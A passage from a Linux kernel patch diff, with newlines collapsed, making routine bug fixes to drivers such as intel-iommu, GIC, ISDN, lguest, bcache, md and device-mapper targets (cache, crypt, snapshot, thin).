largepage_lvl = 0; unsigned long lvl_pages = 0; @@ -1807,10 +1807,8 @@ static int __domain_mapping(struct dmar_domain *domain, unsigned long iov_pfn, prot &= DMA_PTE_READ | DMA_PTE_WRITE | DMA_PTE_SNP; - if (sg) - sg_res = 0; - else { - sg_res = nr_pages + 1; + if (!sg) { + sg_res = nr_pages; pteval = ((phys_addr_t)phys_pfn << VTD_PAGE_SHIFT) | prot; } diff --git a/drivers/iommu/intel_irq_remapping.c b/drivers/iommu/intel_irq_remapping.c index 45011f63ad162..990cc298824af 100644 --- a/drivers/iommu/intel_irq_remapping.c +++ b/drivers/iommu/intel_irq_remapping.c @@ -495,7 +495,7 @@ static void iommu_disable_irq_remapping(struct intel_iommu *iommu) raw_spin_lock_irqsave(&iommu->register_lock, flags); - sts = dmar_readq(iommu->reg + DMAR_GSTS_REG); + sts = readl(iommu->reg + DMAR_GSTS_REG); if (!(sts & DMA_GSTS_IRES)) goto end; diff --git a/drivers/irqchip/irq-gic.c b/drivers/irqchip/irq-gic.c index 4e52cf7292c5a..3bb5ddf4046de 100644 --- a/drivers/irqchip/irq-gic.c +++ b/drivers/irqchip/irq-gic.c @@ -45,6 +45,7 @@ #include #include +#include #include #include #include @@ -1012,7 +1013,9 @@ void __init gic_init_bases(unsigned int gic_nr, int irq_start, } for_each_possible_cpu(cpu) { - unsigned long offset = percpu_offset * cpu_logical_map(cpu); + u32 mpidr = cpu_logical_map(cpu); + u32 core_id = MPIDR_AFFINITY_LEVEL(mpidr, 0); + unsigned long offset = percpu_offset * core_id; *per_cpu_ptr(gic->dist_base.percpu_base, cpu) = dist_base + offset; *per_cpu_ptr(gic->cpu_base.percpu_base, cpu) = cpu_base + offset; } @@ -1116,6 +1119,7 @@ int __init gic_of_init(struct device_node *node, struct device_node *parent) } IRQCHIP_DECLARE(cortex_a15_gic, "arm,cortex-a15-gic", gic_of_init); IRQCHIP_DECLARE(cortex_a9_gic, "arm,cortex-a9-gic", gic_of_init); +IRQCHIP_DECLARE(cortex_a7_gic, "arm,cortex-a7-gic", gic_of_init); IRQCHIP_DECLARE(msm_8660_qgic, "qcom,msm-8660-qgic", gic_of_init); IRQCHIP_DECLARE(msm_qgic2, "qcom,msm-qgic2", gic_of_init); diff --git a/drivers/isdn/gigaset/ser-gigaset.c b/drivers/isdn/gigaset/ser-gigaset.c index 8c91fd5eb6fdd..3ac9c4194814c 100644 --- a/drivers/isdn/gigaset/ser-gigaset.c +++ b/drivers/isdn/gigaset/ser-gigaset.c @@ -524,9 +524,18 @@ gigaset_tty_open(struct tty_struct *tty) cs->hw.ser->tty = tty; atomic_set(&cs->hw.ser->refcnt, 1); init_completion(&cs->hw.ser->dead_cmp); - tty->disc_data = cs; + /* Set the amount of data we're willing to receive per call + * from the hardware driver to half of the input buffer size + * to leave some reserve. + * Note: We don't do flow control towards the hardware driver. + * If more data is received than will fit into the input buffer, + * it will be dropped and an error will be logged. This should + * never happen as the device is slow and the buffer size ample. + */ + tty->receive_room = RBUFSIZE/2; + /* OK.. Initialization of the datastructures and the HW is done.. Now * startup system and notify the LL that we are ready to run */ diff --git a/drivers/isdn/hardware/mISDN/hfcpci.c b/drivers/isdn/hardware/mISDN/hfcpci.c index a7e4939787c95..eab9167937e27 100644 --- a/drivers/isdn/hardware/mISDN/hfcpci.c +++ b/drivers/isdn/hardware/mISDN/hfcpci.c @@ -2295,8 +2295,8 @@ _hfcpci_softirq(struct device *dev, void *arg) static void hfcpci_softirq(void *arg) { - (void) driver_for_each_device(&hfc_driver.driver, NULL, arg, - _hfcpci_softirq); + WARN_ON_ONCE(driver_for_each_device(&hfc_driver.driver, NULL, arg, + _hfcpci_softirq) != 0); /* if next event would be in the past ... */ if ((s32)(hfc_jiffies + tics - jiffies) <= 0) diff --git a/drivers/isdn/i4l/isdn_ppp.c b/drivers/isdn/i4l/isdn_ppp.c index 38ceac5053a0b..0ed6731396efd 100644 --- a/drivers/isdn/i4l/isdn_ppp.c +++ b/drivers/isdn/i4l/isdn_ppp.c @@ -301,6 +301,8 @@ isdn_ppp_open(int min, struct file *file) is->compflags = 0; is->reset = isdn_ppp_ccp_reset_alloc(is); + if (!is->reset) + return -ENOMEM; is->lp = NULL; is->mp_seqno = 0; /* MP sequence number */ @@ -320,6 +322,10 @@ isdn_ppp_open(int min, struct file *file) * VJ header compression init */ is->slcomp = slhc_init(16, 16); /* not necessary for 2. link in bundle */ + if (IS_ERR(is->slcomp)) { + isdn_ppp_ccp_reset_free(is); + return PTR_ERR(is->slcomp); + } #endif #ifdef CONFIG_IPPP_FILTER is->pass_filter = NULL; @@ -568,10 +574,8 @@ isdn_ppp_ioctl(int min, struct file *file, unsigned int cmd, unsigned long arg) is->maxcid = val; #ifdef CONFIG_ISDN_PPP_VJ sltmp = slhc_init(16, val); - if (!sltmp) { - printk(KERN_ERR "ippp, can't realloc slhc struct\n"); - return -ENOMEM; - } + if (IS_ERR(sltmp)) + return PTR_ERR(sltmp); if (is->slcomp) slhc_free(is->slcomp); is->slcomp = sltmp; diff --git a/drivers/lguest/core.c b/drivers/lguest/core.c index 0bf1e4edf04d0..19da22249bd81 100644 --- a/drivers/lguest/core.c +++ b/drivers/lguest/core.c @@ -176,7 +176,7 @@ static void unmap_switcher(void) bool lguest_address_ok(const struct lguest *lg, unsigned long addr, unsigned long len) { - return (addr+len) / PAGE_SIZE < lg->pfn_limit && (addr+len >= addr); + return addr+len <= lg->pfn_limit * PAGE_SIZE && (addr+len >= addr); } /* diff --git a/drivers/lguest/x86/core.c b/drivers/lguest/x86/core.c index f0a3347b64419..5169239263352 100644 --- a/drivers/lguest/x86/core.c +++ b/drivers/lguest/x86/core.c @@ -700,7 +700,7 @@ void lguest_arch_setup_regs(struct lg_cpu *cpu, unsigned long start) * interrupts are enabled. We always leave interrupts enabled while * running the Guest. */ - regs->eflags = X86_EFLAGS_IF | X86_EFLAGS_BIT1; + regs->eflags = X86_EFLAGS_IF | X86_EFLAGS_FIXED; /* * The "Extended Instruction Pointer" register says where the Guest is diff --git a/drivers/macintosh/windfarm_core.c b/drivers/macintosh/windfarm_core.c index 3ee198b658438..cc7ece1712b50 100644 --- a/drivers/macintosh/windfarm_core.c +++ b/drivers/macintosh/windfarm_core.c @@ -435,7 +435,7 @@ int wf_unregister_client(struct notifier_block *nb) { mutex_lock(&wf_lock); blocking_notifier_chain_unregister(&wf_client_list, nb); - wf_client_count++; + wf_client_count--; if (wf_client_count == 0) wf_stop_thread(); mutex_unlock(&wf_lock); diff --git a/drivers/md/bcache/super.c b/drivers/md/bcache/super.c index b4713cea1913d..2a4c13af482a8 100644 --- a/drivers/md/bcache/super.c +++ b/drivers/md/bcache/super.c @@ -1295,6 +1295,9 @@ static void cache_set_flush(struct closure *cl) set_bit(CACHE_SET_STOPPING_2, &c->flags); wake_up(&c->alloc_wait); + if (!c) + closure_return(cl); + bch_cache_accounting_destroy(&c->accounting); kobject_put(&c->internal); @@ -1959,8 +1962,10 @@ static int __init bcache_init(void) closure_debug_init(); bcache_major = register_blkdev(0, "bcache"); - if (bcache_major < 0) + if (bcache_major < 0) { + unregister_reboot_notifier(&reboot); return bcache_major; + } if (!(bcache_wq = create_workqueue("bcache")) || !(bcache_kobj = kobject_create_and_add("bcache", fs_kobj)) || diff --git a/drivers/md/bitmap.c b/drivers/md/bitmap.c index 5a2c75499824f..37470ee7c8509 100644 --- a/drivers/md/bitmap.c +++ b/drivers/md/bitmap.c @@ -564,6 +564,8 @@ static int bitmap_read_sb(struct bitmap *bitmap) if (err) return err; + err = -EINVAL; + sb = kmap_atomic(sb_page); chunksize = le32_to_cpu(sb->chunksize); @@ -883,7 +885,6 @@ void bitmap_unplug(struct bitmap *bitmap) { unsigned long i; int dirty, need_write; - int wait = 0; if (!bitmap || !bitmap->storage.filemap || test_bit(BITMAP_STALE, &bitmap->flags)) @@ -901,16 +902,13 @@ void bitmap_unplug(struct bitmap *bitmap) clear_page_attr(bitmap, i, BITMAP_PAGE_PENDING); write_page(bitmap, bitmap->storage.filemap[i], 0); } - if (dirty) - wait = 1; - } - if (wait) { /* if any writes were performed, we need to wait on them */ - if (bitmap->storage.file) - wait_event(bitmap->write_wait, - atomic_read(&bitmap->pending_writes)==0); - else - md_super_wait(bitmap->mddev); } + if (bitmap->storage.file) + wait_event(bitmap->write_wait, + atomic_read(&bitmap->pending_writes)==0); + else + md_super_wait(bitmap->mddev); + if (test_bit(BITMAP_WRITE_ERROR, &bitmap->flags)) bitmap_file_kick(bitmap); } diff --git a/drivers/md/dm-bufio.c b/drivers/md/dm-bufio.c index 1ac00ad127f9b..38eca8c634eab 100644 --- a/drivers/md/dm-bufio.c +++ b/drivers/md/dm-bufio.c @@ -462,6 +462,7 @@ static void __relink_lru(struct dm_buffer *b, int dirty) c->n_buffers[dirty]++; b->list_mode = dirty; list_move(&b->lru_list, &c->lru[dirty]); + b->last_accessed = jiffies; } /*---------------------------------------------------------------- @@ -528,6 +529,19 @@ static void use_dmio(struct dm_buffer *b, int rw, sector_t block, end_io(&b->bio, r); } +static void inline_endio(struct bio *bio, int error) +{ + bio_end_io_t *end_fn = bio->bi_private; + + /* + * Reset the bio to free any attached resources + * (e.g. bio integrity profiles). + */ + bio_reset(bio); + + end_fn(bio, error); +} + static void use_inline_bio(struct dm_buffer *b, int rw, sector_t block, bio_end_io_t *end_io) { @@ -539,7 +553,12 @@ static void use_inline_bio(struct dm_buffer *b, int rw, sector_t block, b->bio.bi_max_vecs = DM_BUFIO_INLINE_VECS; b->bio.bi_sector = block << b->c->sectors_per_block_bits; b->bio.bi_bdev = b->c->bdev; - b->bio.bi_end_io = end_io; + b->bio.bi_end_io = inline_endio; + /* + * Use of .bi_private isn't a problem here because + * the dm_buffer's inline bio is local to bufio. + */ + b->bio.bi_private = end_io; /* * We assume that if len >= PAGE_SIZE ptr is page-aligned. diff --git a/drivers/md/dm-cache-metadata.c b/drivers/md/dm-cache-metadata.c index a33e07f4222e7..4a10c1562d0fe 100644 --- a/drivers/md/dm-cache-metadata.c +++ b/drivers/md/dm-cache-metadata.c @@ -88,6 +88,9 @@ struct cache_disk_superblock { } __packed; struct dm_cache_metadata { + atomic_t ref_count; + struct list_head list; + struct block_device *bdev; struct dm_block_manager *bm; struct dm_space_map *metadata_sm; @@ -384,6 +387,15 @@ static int __open_metadata(struct dm_cache_metadata *cmd) disk_super = dm_block_data(sblock); + /* Verify the data block size hasn't changed */ + if (le32_to_cpu(disk_super->data_block_size) != cmd->data_block_size) { + DMERR("changing the data block size (from %u to %llu) is not supported", + le32_to_cpu(disk_super->data_block_size), + (unsigned long long)cmd->data_block_size); + r = -EINVAL; + goto bad; + } + r = __check_incompat_features(disk_super, cmd); if (r < 0) goto bad; @@ -625,10 +637,10 @@ static void unpack_value(__le64 value_le, dm_oblock_t *block, unsigned *flags) /*----------------------------------------------------------------*/ -struct dm_cache_metadata *dm_cache_metadata_open(struct block_device *bdev, - sector_t data_block_size, - bool may_format_device, - size_t policy_hint_size) +static struct dm_cache_metadata *metadata_open(struct block_device *bdev, + sector_t data_block_size, + bool may_format_device, + size_t policy_hint_size) { int r; struct dm_cache_metadata *cmd; @@ -636,9 +648,10 @@ struct dm_cache_metadata *dm_cache_metadata_open(struct block_device *bdev, cmd = kzalloc(sizeof(*cmd), GFP_KERNEL); if (!cmd) { DMERR("could not allocate metadata struct"); - return NULL; + return ERR_PTR(-ENOMEM); } + atomic_set(&cmd->ref_count, 1); init_rwsem(&cmd->root_lock); cmd->bdev = bdev; cmd->data_block_size = data_block_size; @@ -661,10 +674,96 @@ struct dm_cache_metadata *dm_cache_metadata_open(struct block_device *bdev, return cmd; } +/* + * We keep a little list of ref counted metadata objects to prevent two + * different target instances creating separate bufio instances. This is + * an issue if a table is reloaded before the suspend. + */ +static DEFINE_MUTEX(table_lock); +static LIST_HEAD(table); + +static struct dm_cache_metadata *lookup(struct block_device *bdev) +{ + struct dm_cache_metadata *cmd; + + list_for_each_entry(cmd, &table, list) + if (cmd->bdev == bdev) { + atomic_inc(&cmd->ref_count); + return cmd; + } + + return NULL; +} + +static struct dm_cache_metadata *lookup_or_open(struct block_device *bdev, + sector_t data_block_size, + bool may_format_device, + size_t policy_hint_size) +{ + struct dm_cache_metadata *cmd, *cmd2; + + mutex_lock(&table_lock); + cmd = lookup(bdev); + mutex_unlock(&table_lock); + + if (cmd) + return cmd; + + cmd = metadata_open(bdev, data_block_size, may_format_device, policy_hint_size); + if (!IS_ERR(cmd)) { + mutex_lock(&table_lock); + cmd2 = lookup(bdev); + if (cmd2) { + mutex_unlock(&table_lock); + __destroy_persistent_data_objects(cmd); + kfree(cmd); + return cmd2; + } + list_add(&cmd->list, &table); + mutex_unlock(&table_lock); + } + + return cmd; +} + +static bool same_params(struct dm_cache_metadata *cmd, sector_t data_block_size) +{ + if (cmd->data_block_size != data_block_size) { + DMERR("data_block_size (%llu) different from that in metadata (%llu)\n", + (unsigned long long) data_block_size, + (unsigned long long) cmd->data_block_size); + return false; + } + + return true; +} + +struct dm_cache_metadata *dm_cache_metadata_open(struct block_device *bdev, + sector_t data_block_size, + bool may_format_device, + size_t policy_hint_size) +{ + struct dm_cache_metadata *cmd = lookup_or_open(bdev, data_block_size, + may_format_device, policy_hint_size); + + if (!IS_ERR(cmd) && !same_params(cmd, data_block_size)) { + dm_cache_metadata_close(cmd); + return ERR_PTR(-EINVAL); + } + + return cmd; +} + void dm_cache_metadata_close(struct dm_cache_metadata *cmd) { - __destroy_persistent_data_objects(cmd); - kfree(cmd); + if (atomic_dec_and_test(&cmd->ref_count)) { + mutex_lock(&table_lock); + list_del(&cmd->list); + mutex_unlock(&table_lock); + + __destroy_persistent_data_objects(cmd); + kfree(cmd); + } } int dm_cache_resize(struct dm_cache_metadata *cmd, dm_cblock_t new_cache_size) diff --git a/drivers/md/dm-cache-policy-cleaner.c b/drivers/md/dm-cache-policy-cleaner.c index b04d1f904d076..2eca9084defee 100644 --- a/drivers/md/dm-cache-policy-cleaner.c +++ b/drivers/md/dm-cache-policy-cleaner.c @@ -434,7 +434,7 @@ static struct dm_cache_policy *wb_create(dm_cblock_t cache_size, static struct dm_cache_policy_type wb_policy_type = { .name = "cleaner", .version = {1, 0, 0}, - .hint_size = 0, + .hint_size = 4, .owner = THIS_MODULE, .create = wb_create }; diff --git a/drivers/md/dm-crypt.c b/drivers/md/dm-crypt.c index be0ae652a03d7..f93fa95c51826 100644 --- a/drivers/md/dm-crypt.c +++ b/drivers/md/dm-crypt.c @@ -1535,6 +1535,7 @@ static int crypt_ctr(struct dm_target *ti, unsigned int argc, char **argv) unsigned int key_size, opt_params; unsigned long long tmpll; int ret; + size_t iv_size_padding; struct dm_arg_set as; const char *opt_string; char dummy; @@ -1564,13 +1565,24 @@ static int crypt_ctr(struct dm_target *ti, unsigned int argc, char **argv) cc->dmreq_start = sizeof(struct ablkcipher_request); cc->dmreq_start += crypto_ablkcipher_reqsize(any_tfm(cc)); - cc->dmreq_start = ALIGN(cc->dmreq_start, crypto_tfm_ctx_alignment()); - cc->dmreq_start += crypto_ablkcipher_alignmask(any_tfm(cc)) & - ~(crypto_tfm_ctx_alignment() - 1); + cc->dmreq_start = ALIGN(cc->dmreq_start, __alignof__(struct dm_crypt_request)); + + if (crypto_ablkcipher_alignmask(any_tfm(cc)) < CRYPTO_MINALIGN) { + /* Allocate the padding exactly */ + iv_size_padding = -(cc->dmreq_start + sizeof(struct dm_crypt_request)) + & crypto_ablkcipher_alignmask(any_tfm(cc)); + } else { + /* + * If the cipher requires greater alignment than kmalloc + * alignment, we don't know the exact position of the + * initialization vector. We must assume worst case. + */ + iv_size_padding = crypto_ablkcipher_alignmask(any_tfm(cc)); + } ret = -ENOMEM; cc->req_pool = mempool_create_kmalloc_pool(MIN_IOS, cc->dmreq_start + - sizeof(struct dm_crypt_request) + cc->iv_size); + sizeof(struct dm_crypt_request) + iv_size_padding + cc->iv_size); if (!cc->req_pool) { ti->error = "Cannot allocate crypt request mempool"; goto bad; diff --git a/drivers/md/dm-exception-store.h b/drivers/md/dm-exception-store.h index 0b2536247cf55..84e27708ad973 100644 --- a/drivers/md/dm-exception-store.h +++ b/drivers/md/dm-exception-store.h @@ -70,7 +70,7 @@ struct dm_exception_store_type { * Update the metadata with this exception. */ void (*commit_exception) (struct dm_exception_store *store, - struct dm_exception *e, + struct dm_exception *e, int valid, void (*callback) (void *, int success), void *callback_context); diff --git a/drivers/md/dm-flakey.c b/drivers/md/dm-flakey.c index 7fcf21cb4ff86..a9a47cd029d51 100644 --- a/drivers/md/dm-flakey.c +++ b/drivers/md/dm-flakey.c @@ -286,10 +286,16 @@ static int flakey_map(struct dm_target *ti, struct bio *bio) pb->bio_submitted = true; /* - * Map reads as normal. + * Map reads as normal only if corrupt_bio_byte set. */ - if (bio_data_dir(bio) == READ) - goto map_bio; + if (bio_data_dir(bio) == READ) { + /* If flags were specified, only corrupt those that match. */ + if (fc->corrupt_bio_byte && (fc->corrupt_bio_rw == READ) && + all_corrupt_bio_flags_match(bio, fc)) + goto map_bio; + else + return -EIO; + } /* * Drop writes? @@ -327,12 +333,13 @@ static int flakey_end_io(struct dm_target *ti, struct bio *bio, int error) /* * Corrupt successful READs while in down state. - * If flags were specified, only corrupt those that match. */ - if (fc->corrupt_bio_byte && !error && pb->bio_submitted && - (bio_data_dir(bio) == READ) && (fc->corrupt_bio_rw == READ) && - all_corrupt_bio_flags_match(bio, fc)) - corrupt_bio_data(bio, fc); + if (!error && pb->bio_submitted && (bio_data_dir(bio) == READ)) { + if (fc->corrupt_bio_byte) + corrupt_bio_data(bio, fc); + else + return -EIO; + } return error; } diff --git a/drivers/md/dm-io.c b/drivers/md/dm-io.c index d1de1626a9d21..17cb2170e9d86 100644 --- a/drivers/md/dm-io.c +++ b/drivers/md/dm-io.c @@ -291,6 +291,12 @@ static void do_region(int rw, unsigned region, struct dm_io_region *where, unsigned short logical_block_size = queue_logical_block_size(q); sector_t num_sectors; + /* Reject unsupported discard requests */ + if ((rw & REQ_DISCARD) && !blk_queue_discard(q)) { + dec_count(io, region, -EOPNOTSUPP); + return; + } + /* * where->count may be zero if rw holds a flush and we need to * send a zero-sized flush. diff --git a/drivers/md/dm-log-userspace-transfer.c b/drivers/md/dm-log-userspace-transfer.c index 08d9a207259af..c69d0b787746c 100644 --- a/drivers/md/dm-log-userspace-transfer.c +++ b/drivers/md/dm-log-userspace-transfer.c @@ -272,7 +272,7 @@ int dm_ulog_tfr_init(void) r = cn_add_callback(&ulog_cn_id, "dmlogusr", cn_ulog_callback); if (r) { - cn_del_callback(&ulog_cn_id); + kfree(prealloced_cn_msg); return r; } diff --git a/drivers/md/dm-mpath.c b/drivers/md/dm-mpath.c index 0ba21b0f3972f..eb7ddb20fd481 100644 --- a/drivers/md/dm-mpath.c +++ b/drivers/md/dm-mpath.c @@ -1608,11 +1608,8 @@ static int multipath_ioctl(struct dm_target *ti, unsigned int cmd, /* * Only pass ioctls through if the device sizes match exactly. */ - if (!bdev || ti->len != i_size_read(bdev->bd_inode) >> SECTOR_SHIFT) { - int err = scsi_verify_blk_ioctl(NULL, cmd); - if (err) - r = err; - } + if (!r && ti->len != i_size_read(bdev->bd_inode) >> SECTOR_SHIFT) + r = scsi_verify_blk_ioctl(NULL, cmd); if (r == -ENOTCONN && !fatal_signal_pending(current)) queue_work(kmultipathd, &m->process_queued_ios); diff --git a/drivers/md/dm-raid.c b/drivers/md/dm-raid.c index 2dea49c4279e2..4805c15185c2e 100644 --- a/drivers/md/dm-raid.c +++ b/drivers/md/dm-raid.c @@ -325,8 +325,7 @@ static int validate_region_size(struct raid_set *rs, unsigned long region_size) */ if (min_region_size > (1 << 13)) { /* If not a power of 2, make it the next power of 2 */ - if (min_region_size & (min_region_size - 1)) - region_size = 1 << fls(region_size); + region_size = roundup_pow_of_two(min_region_size); DMINFO("Choosing default region size of %lu sectors", region_size); } else { @@ -785,8 +784,7 @@ struct dm_raid_superblock { __le32 layout; __le32 stripe_sectors; - __u8 pad[452]; /* Round struct to 512 bytes. */ - /* Always set to 0 when writing. */ + /* Remainder of a logical block is zero-filled when writing (see super_sync()). */ } __packed; static int read_disk_sb(struct md_rdev *rdev, int size) @@ -823,7 +821,7 @@ static void super_sync(struct mddev *mddev, struct md_rdev *rdev) test_bit(Faulty, &(rs->dev[i].rdev.flags))) failed_devices |= (1ULL << i); - memset(sb, 0, sizeof(*sb)); + memset(sb + 1, 0, rdev->sb_size - sizeof(*sb)); sb->magic = cpu_to_le32(DM_RAID_MAGIC); sb->features = cpu_to_le32(0); /* No features yet */ @@ -858,7 +856,11 @@ static int super_load(struct md_rdev *rdev, struct md_rdev *refdev) uint64_t events_sb, events_refsb; rdev->sb_start = 0; - rdev->sb_size = sizeof(*sb); + rdev->sb_size = bdev_logical_block_size(rdev->meta_bdev); + if (rdev->sb_size < sizeof(*sb) || rdev->sb_size > PAGE_SIZE) { + DMERR("superblock size of a logical block is no longer valid"); + return -EINVAL; + } ret = read_disk_sb(rdev, rdev->sb_size); if (ret) diff --git a/drivers/md/dm-raid1.c b/drivers/md/dm-raid1.c index 699b5be68d319..678556b8ee4dc 100644 --- a/drivers/md/dm-raid1.c +++ b/drivers/md/dm-raid1.c @@ -604,6 +604,15 @@ static void write_callback(unsigned long error, void *context) return; } + /* + * If the bio is discard, return an error, but do not + * degrade the array. + */ + if (bio->bi_rw & REQ_DISCARD) { + bio_endio(bio, -EOPNOTSUPP); + return; + } + for (i = 0; i < ms->nr_mirrors; i++) if (test_bit(i, &error)) fail_mirror(ms->mirror + i, DM_RAID1_WRITE_ERROR); diff --git a/drivers/md/dm-snap-persistent.c b/drivers/md/dm-snap-persistent.c index 2d2b1b7588d7e..8f6d3ea55401a 100644 --- a/drivers/md/dm-snap-persistent.c +++ b/drivers/md/dm-snap-persistent.c @@ -646,7 +646,7 @@ static int persistent_prepare_exception(struct dm_exception_store *store, } static void persistent_commit_exception(struct dm_exception_store *store, - struct dm_exception *e, + struct dm_exception *e, int valid, void (*callback) (void *, int success), void *callback_context) { @@ -655,6 +655,9 @@ static void persistent_commit_exception(struct dm_exception_store *store, struct core_exception ce; struct commit_callback *cb; + if (!valid) + ps->valid = 0; + ce.old_chunk = e->old_chunk; ce.new_chunk = e->new_chunk; write_exception(ps, ps->current_committed++, &ce); diff --git a/drivers/md/dm-snap-transient.c b/drivers/md/dm-snap-transient.c index 1ce9a2586e413..31439d53cf7e8 100644 --- a/drivers/md/dm-snap-transient.c +++ b/drivers/md/dm-snap-transient.c @@ -52,12 +52,12 @@ static int transient_prepare_exception(struct dm_exception_store *store, } static void transient_commit_exception(struct dm_exception_store *store, - struct dm_exception *e, + struct dm_exception *e, int valid, void (*callback) (void *, int success), void *callback_context) { /* Just succeed */ - callback(callback_context, 1); + callback(callback_context, valid); } static void transient_usage(struct dm_exception_store *store, diff --git a/drivers/md/dm-snap.c b/drivers/md/dm-snap.c index c466014eb44b1..5f6a00d987f44 100644 --- a/drivers/md/dm-snap.c +++ b/drivers/md/dm-snap.c @@ -1388,8 +1388,9 @@ static void __invalidate_snapshot(struct dm_snapshot *s, int err) dm_table_event(s->ti->table); } -static void pending_complete(struct dm_snap_pending_exception *pe, int success) +static void pending_complete(void *context, int success) { + struct dm_snap_pending_exception *pe = context; struct dm_exception *e; struct dm_snapshot *s = pe->snap; struct bio *origin_bios = NULL; @@ -1439,8 +1440,6 @@ static void pending_complete(struct dm_snap_pending_exception *pe, int success) full_bio->bi_end_io = pe->full_bio_end_io; full_bio->bi_private = pe->full_bio_private; } - free_pending_exception(pe); - increment_pending_exceptions_done_count(); up_write(&s->lock); @@ -1457,26 +1456,17 @@ static void pending_complete(struct dm_snap_pending_exception *pe, int success) } retry_origin_bios(s, origin_bios); -} -static void commit_callback(void *context, int success) -{ - struct dm_snap_pending_exception *pe = context; - - pending_complete(pe, success); + free_pending_exception(pe); } static void complete_exception(struct dm_snap_pending_exception *pe) { struct dm_snapshot *s = pe->snap; - if (unlikely(pe->copy_error)) - pending_complete(pe, 0); - - else - /* Update the metadata if we are persistent */ - s->store->type->commit_exception(s->store, &pe->e, - commit_callback, pe); + /* Update the metadata if we are persistent */ + s->store->type->commit_exception(s->store, &pe->e, !pe->copy_error, + pending_complete, pe); } /* diff --git a/drivers/md/dm-thin-metadata.c b/drivers/md/dm-thin-metadata.c index 5f49d704f275d..4bf9211b27407 100644 --- a/drivers/md/dm-thin-metadata.c +++ b/drivers/md/dm-thin-metadata.c @@ -591,6 +591,15 @@ static int __open_metadata(struct dm_pool_metadata *pmd) disk_super = dm_block_data(sblock); + /* Verify the data block size hasn't changed */ + if (le32_to_cpu(disk_super->data_block_size) != pmd->data_block_size) { + DMERR("changing the data block size (from %u to %llu) is not supported", + le32_to_cpu(disk_super->data_block_size), + (unsigned long long)pmd->data_block_size); + r = -EINVAL; + goto bad_unlock_sblock; + } + r = __check_incompat_features(disk_super, pmd); if (r < 0) goto bad_unlock_sblock; @@ -1181,6 +1190,12 @@ static int __reserve_metadata_snap(struct dm_pool_metadata *pmd) struct dm_block *copy, *sblock; dm_block_t held_root; + /* + * We commit to ensure the btree roots which we increment in a + * moment are up to date. + */ + __commit_transaction(pmd); + /* * Copy the superblock. */ @@ -1272,8 +1287,8 @@ static int __release_metadata_snap(struct dm_pool_metadata *pmd) return r; disk_super = dm_block_data(copy); - dm_sm_dec_block(pmd->metadata_sm, le64_to_cpu(disk_super->data_mapping_root)); - dm_sm_dec_block(pmd->metadata_sm, le64_to_cpu(disk_super->device_details_root)); + dm_btree_del(&pmd->info, le64_to_cpu(disk_super->data_mapping_root)); + dm_btree_del(&pmd->details_info, le64_to_cpu(disk_super->device_details_root)); dm_sm_dec_block(pmd->metadata_sm, held_root); return dm_tm_unlock(pmd->tm, copy); diff --git a/drivers/md/dm-thin.c b/drivers/md/dm-thin.c index 86a2a5e3b26ba..295f74d4f0ab9 100644 --- a/drivers/md/dm-thin.c +++ b/drivers/md/dm-thin.c @@ -2109,7 +2109,7 @@ static int pool_ctr(struct dm_target *ti, unsigned argc, char **argv) metadata_low_callback, pool); if (r) - goto out_free_pt; + goto out_flags_changed; pt->callbacks.congested_fn = pool_is_congested; dm_table_add_target_callbacks(ti->table, &pt->callbacks); @@ -2281,7 +2281,7 @@ static void pool_postsuspend(struct dm_target *ti) struct pool_c *pt = ti->private; struct pool *pool = pt->pool; - cancel_delayed_work(&pool->waker); + cancel_delayed_work_sync(&pool->waker); flush_workqueue(pool->wq); (void) commit_or_fallback(pool); } @@ -2457,6 +2457,12 @@ static int pool_message(struct dm_target *ti, unsigned argc, char **argv) struct pool_c *pt = ti->private; struct pool *pool = pt->pool; + if (get_pool_mode(pool) >= PM_READ_ONLY) { + DMERR("%s: unable to service pool target messages in READ_ONLY or FAIL mode", + dm_device_name(pool->pool_md)); + return -EINVAL; + } + if (!strcasecmp(argv[0], "create_thin")) r = process_create_thin_mesg(argc, argv, pool); diff --git a/drivers/md/dm.c b/drivers/md/dm.c index 8136e39c6effd..237339ba3ef73 100644 --- a/drivers/md/dm.c +++ b/drivers/md/dm.c @@ -2270,7 +2270,7 @@ int dm_setup_md_queue(struct mapped_device *md) return 0; } -static struct mapped_device *dm_find_md(dev_t dev) +struct mapped_device *dm_get_md(dev_t dev) { struct mapped_device *md; unsigned minor = MINOR(dev); @@ -2281,12 +2281,15 @@ static struct mapped_device *dm_find_md(dev_t dev) spin_lock(&_minor_lock); md = idr_find(&_minor_idr, minor); - if (md && (md == MINOR_ALLOCED || - (MINOR(disk_devt(dm_disk(md))) != minor) || - dm_deleting_md(md) || - test_bit(DMF_FREEING, &md->flags))) { - md = NULL; - goto out; + if (md) { + if ((md == MINOR_ALLOCED || + (MINOR(disk_devt(dm_disk(md))) != minor) || + dm_deleting_md(md) || + test_bit(DMF_FREEING, &md->flags))) { + md = NULL; + goto out; + } + dm_get(md); } out: @@ -2294,16 +2297,6 @@ static struct mapped_device *dm_find_md(dev_t dev) return md; } - -struct mapped_device *dm_get_md(dev_t dev) -{ - struct mapped_device *md = dm_find_md(dev); - - if (md) - dm_get(md); - - return md; -} EXPORT_SYMBOL_GPL(dm_get_md); void *dm_get_mdptr(struct mapped_device *md) @@ -2340,10 +2333,16 @@ static void __dm_destroy(struct mapped_device *md, bool wait) set_bit(DMF_FREEING, &md->flags); spin_unlock(&_minor_lock); + /* + * Take suspend_lock so that presuspend and postsuspend methods + * do not race with internal suspend. + */ + mutex_lock(&md->suspend_lock); if (!dm_suspended_md(md)) { dm_table_presuspend_targets(map); dm_table_postsuspend_targets(map); } + mutex_unlock(&md->suspend_lock); /* * Rare, but there may be I/O requests still going to complete, diff --git a/drivers/md/md.c b/drivers/md/md.c index ed572b619be88..7c45286e26626 100644 --- a/drivers/md/md.c +++ b/drivers/md/md.c @@ -5306,6 +5306,8 @@ EXPORT_SYMBOL_GPL(md_stop_writes); static void __md_stop(struct mddev *mddev) { mddev->ready = 0; + /* Ensure ->event_work is done */ + flush_workqueue(md_misc_wq); mddev->pers->stop(mddev); if (mddev->pers->sync_request && mddev->to_remove == NULL) mddev->to_remove = &md_redundancy_group; @@ -6221,7 +6223,7 @@ static int update_array_info(struct mddev *mddev, mdu_array_info_t *info) mddev->ctime != info->ctime || mddev->level != info->level || /* mddev->layout != info->layout || */ - !mddev->persistent != info->not_persistent|| + mddev->persistent != !info->not_persistent || mddev->chunk_sectors != info->chunk_size >> 9 || /* ignore bottom 8 bits of state, and allow SB_BITMAP_PRESENT to change */ ((state^info->state) & 0xfffffe00) diff --git a/drivers/md/persistent-data/dm-btree-internal.h b/drivers/md/persistent-data/dm-btree-internal.h index 37d367bb9aa89..8731b6ea026bd 100644 --- 